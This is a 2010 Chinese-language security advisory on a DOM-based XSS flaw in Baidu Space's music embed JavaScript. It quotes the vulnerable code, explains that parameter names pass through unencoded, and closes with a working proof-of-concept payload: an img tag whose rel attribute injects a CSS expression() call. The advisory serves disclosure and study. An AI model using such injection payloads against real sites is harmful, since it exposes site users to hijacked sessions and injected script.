hi.baidu music Dom-Xss Bug
来源:岁月联盟
时间:2010-05-18
一 综述
百度空间的阅读文章处,JS对博客内容进行DOM操作时,未充分对用户输入的数据进行编码,输出时造成XSS.
二 分析
在http://hi.baidu.com/fc/editor/dialog/fck_music/fck_music_auto.js?v=1.0.js中
(function (){ //fck init music if (window.Node){ Node.prototype.replaceNode=function (Node){ this.parentNode.replaceChild(Node, this); } } var isfir=true, imgBox=document.getElementsByName('FCK_MP3_MUSIC'); //获取name为FCK_MP3_MUSIC的HTML标签 var mp3URL="http://box.baidu.com/widget/flash/bdspacesong.swf"; for (var i=0, n=imgBox.length ; i<n ; i++){ var img=imgBox[i]; if (img.getAttribute('rel')){ var musicDiv=document.createElement("SPAN"); var obj=EnP(decodeURIComponent(img.getAttribute('rel'))); //得到rel中的值,进行URL解码,然后传入EnP函数中.EnP作用是把字符串分割后返回一个对象 img.replaceNode(musicDiv); if (obj.autoPlay=='true' && isfir){ isfir=false; obj.autoPlay=true; }else{ obj.autoPlay=false; } /*****for detail****/ var hr=location.href; if ((hr.lastIndexOf('/blog')+5)==hr.length || (hr.lastIndexOf('/blog/')+6)==hr.length){ obj.autoPlay=false; } baidu.swf.create({ 'id' : "mp3player"+Math.random(), 'width' : "400", 'height' : "95", 'ver' : "9.0.0.0", 'url' : mp3URL+'?'+DeP(obj), //把上述返回的对象传入DeP函数 'wmode' : "opaque", 'allowScriptAccess' : "always", 'allowNetworking ' : "all" }, musicDiv ); i--; n--; } } function EnP(s){ var obj={ }, p=s.split("&"); for (var i=0, n=p.length ; i<n ; i++){ var t=p[i].split("="); obj[t[0]]=t[1] }return obj; } function DeP(s){ var u=""; for (var i in s){ u+='&'+i+'='+encodeURIComponent(s[i]); //遍历对象,对属性值进行编码,合并成字符串. }return u; } })(); |
通过上述分析可以看到DeP函数仅仅对属性值进行了编码,而对于属性名原样保留,并通过跟踪JS代码发现,baidu.swf.create也未对传入变量进行过滤,引起了XSS.
但利用起来有个小问题.在EnP()函数中,以=为界,把字符串进行分割为属性和值,DeP()函数又把值进行编码.所以如果在XSS处引入等号的话,经过JS处理后,很难起到预计的效果.
三 利用
<img width="400px" height="95px" rel='"></object><STYLE>body{xss:expression(alert(/xss/))!important;}/*=2' src="/fc/editor/skins/default/update/mmlogo.gif" name="FCK_MP3_MUSIC"/> |
四 补丁[fix]
等待官方补丁